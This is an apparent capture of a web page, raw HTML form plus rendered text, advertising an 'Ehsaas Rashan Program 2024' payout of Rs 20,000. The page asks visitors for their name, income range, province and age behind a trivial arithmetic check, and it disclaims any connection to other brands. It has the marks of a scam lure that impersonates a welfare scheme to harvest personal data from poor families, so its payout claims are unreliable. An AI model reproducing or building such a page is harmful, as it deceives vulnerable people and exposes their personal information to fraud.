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POST step2.php

<form method="post" action="step2.php" id="submitForm">
  <label for="uname">Full Name</label>
  <input class="textbox1" type="text" name="uname" placeholder="Enter Your Full Name" required="">
  <span class="error" id="errorName"></span>
  <label for="state">Choose your income range</label>
  <select name="state" class="state" id="state" required="">
    <option value="0">-------Income Range-------</option>
    <option value="1">Less than 20,000 Rs</option>
    <option value="2">Between 20,000 to 50,000 Rs</option>
    <option value="3">Between 50,000 to 100,000 Rs</option>
    <option value="4">Above 100,000 Rs<!--/option><option value="5">College</option><option value="6">High School</option--> </option>
  </select>
  <span class="error" id="errorState" required=""></span>
  <label>Select your province</label>
  <select name="state2" class="state" id="state2" required="">
    <option value="0">-------Select Province-------</option>
    <option value="1">Punjab</option>
    <option value="2">Sindh</option>
    <option value="3">Khyber Pakhtunkhwa</option>
    <option value="4">Balochistan</option>
    <option value="5">Islamabad Capital Territory</option>
    <option value="6">Federally Administered Tribal Areas，FATA</option>
  </select>
  <label for="state3">Select Age Range</label>
  <select name="state3" class="state" id="state3" required="">
    <option value="0">-------Age Range-------</option>
    <option value="1">10-20</option>
    <option value="2">20-30</option>
    <option value="3">30-40</option>
    <option value="4">&gt;40</option>
  </select>
  <div class="login-box">
    <br>
    <br>
    <h2>Get this question right</h2>
    <h2>To prove you are not a robot.</h2>
    <span>Questions: 9+1-5=</span>
  </div>
  <div class="user-box">
    <label for="answer">Input Answer</label>
    <input class="textbox1" type="number" name="answer" required="">
  </div>
  <input class="button" type="submit" name="res" value="Next">
</form>

Text Content

EHSAAS RASHAN PROGRAM 2024

To qualify for the Ehsaas Rashan Program with an amount of Rs 20,000, complete
the registration below.


THE OBJECTIVE OF THIS PROGRAM IS TO PROVIDE ECONOMIC ASSISTANCE TO IMPOVERISHED
FAMILIES, ENSURING THAT THEY HAVE ACCESS TO ESSENTIAL FOOD AND NECESSITIES.

1.You really need this money.

2.Your monthly income is below 30000 Rs

Full Name Choose your income range -------Income Range------- Less than 20,000
RsBetween 20,000 to 50,000 RsBetween 50,000 to 100,000 RsAbove 100,000 Rs Select
your province -------Select Province------- PunjabSindhKhyber
PakhtunkhwaBalochistanIslamabad Capital TerritoryFederally Administered Tribal
Areas，FATA Select Age Range -------Age Range------- 10-2020-3030-40>40





GET THIS QUESTION RIGHT


TO PROVE YOU ARE NOT A ROBOT.

Questions: 9+1-5=
Input Answer
 * *Terms & Conditions
 * We are not connected to any other brand.